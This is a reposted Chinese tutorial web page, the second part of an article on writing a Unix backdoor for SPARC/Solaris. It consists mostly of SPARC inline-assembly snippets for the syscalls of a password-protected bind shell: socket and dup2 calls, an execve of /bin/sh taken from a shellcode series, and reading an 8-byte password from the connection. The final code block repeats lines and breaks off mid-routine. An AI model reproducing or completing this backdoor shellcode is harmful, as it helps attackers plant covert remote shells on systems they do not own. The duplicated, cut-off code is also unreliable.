歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux資訊 >> 更多Linux

SPARC/Solaris下的Unix後門初探(2)

  這段代碼僅僅演示了很重要的兩個部分,一個是設置文本段可寫,一個是成功創建套 接字並阻塞在accept()系統調用處,一旦有入連接,程序就正常終止了。幸運的是, 在經歷了太多磨難後,SPARC沒有繼續為難我們,一切按照預想的發展。 編寫syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ): -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) {     __asm__     ("         mov   0x06, %o0            ! 第一個參數6         ld    [ %l7 ], %o1         ! 第二個參數s         clr   %g1         ta    8         mov   0x3e, %o0            ! 第一個參數62         ld    [ %l7 + 4 ], %o1     ! 第二個參數c         mov   0x09, %o2         clr   %o3         clr   %g1         ta    8         mov   0x06, %o0            ! 第一個參數6         ld    [ %l7 + 4 ], %o1     ! 第二個參數c         clr   %g1         ta    8     "); }  /* end of main */ -------------------------------------------------------------------------- 還有一個更煩人的execve( name[0], name, 0 ),可以從 << solaris for sparc下shellcode的編寫(三) >>中偷一些代碼過來: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) {     __asm__     ("         sethi   0xbd89a, %l4    ! sethi  %hi(0x2f626800), %l4         or      %l4, 0x16e, %l4


        sethi   0xbdcda, %l5    ! sethi  %hi(0x2f736800), %l5         and     %sp, %sp, %o0   ! $o0 指向字符串/bin/sh         add     %sp, 8, %o1     ! $o1 存放一個地址,該地址處存放了指向字符串的指針         xor     %o2, %o2, %o2   ! %o2寄存器清零         add     %sp, 16, %sp    ! 留出存儲空間         std     %l4, [%sp - 16] ! 存放字符串         st      %o0, [%sp - 8]  ! 存放字符串指針         st      %g0, [%sp - 4]  ! %g0總是為0         mov     0x3b, %g1       ! 將0x3b拷貝到%g1寄存器中         ta      8               ! 執行中斷指令ta 8(execve()完成)     "); }  /* end of main */ -------------------------------------------------------------------------- 最後研究一下syscall( 3, c, pass, 8 ): -------------------------------------------------------------------------- 0x1033c <main+392>:     mov  3, %o0 0x10340 <main+396>:     ld  [ %o1 + 0x1b0 ], %o1 0x10344 <main+400>:     sethi  %hi(0x26400), %o3 0x10348 <main+404>:     or  %o3, 0x158, %o2     ! 0x26558 <pass> 0x1034c <main+408>:     mov  8, %o3 0x10350 <main+412>:     call  0x10fec <syscall> 0x10354 <main+416>:     nop -------------------------------------------------------------------------- 分析後提煉如下: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) {     __asm__     ("         mov   0x03, %o0            ! 第一個參數3

        ld    [ %l7 + 4 ], %o1     ! 第二個參數c         add   %l7, 8, %o2          ! 第三個參數pass         mov   0x08, %o3            ! 第四個參數8         clr   %g1         ta    8     "); }  /* end of main */ -------------------------------------------------------------------------- 本以為這就是最後了,猛然記起SPARC沒有repnz cmpsb指令。可以省點事的是我們強 制口令恰好8個字節,所以比較兩個usigned long即可。 -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) {     __asm__     (" read:         mov   0x03, %o0            ! 第一個參數3         ld    [ %l7 + 4 ], %o1     ! 第二個參數c         add   %l7, 8, %o2          ! 第三個參數pass         mov   0x08, %o3            ! 第四個參數8         clr   %g1



        mov   0x08, %o3            ! 第四個參數8         clr   %g1



Copyright © Linux教程網 All Rights Reserved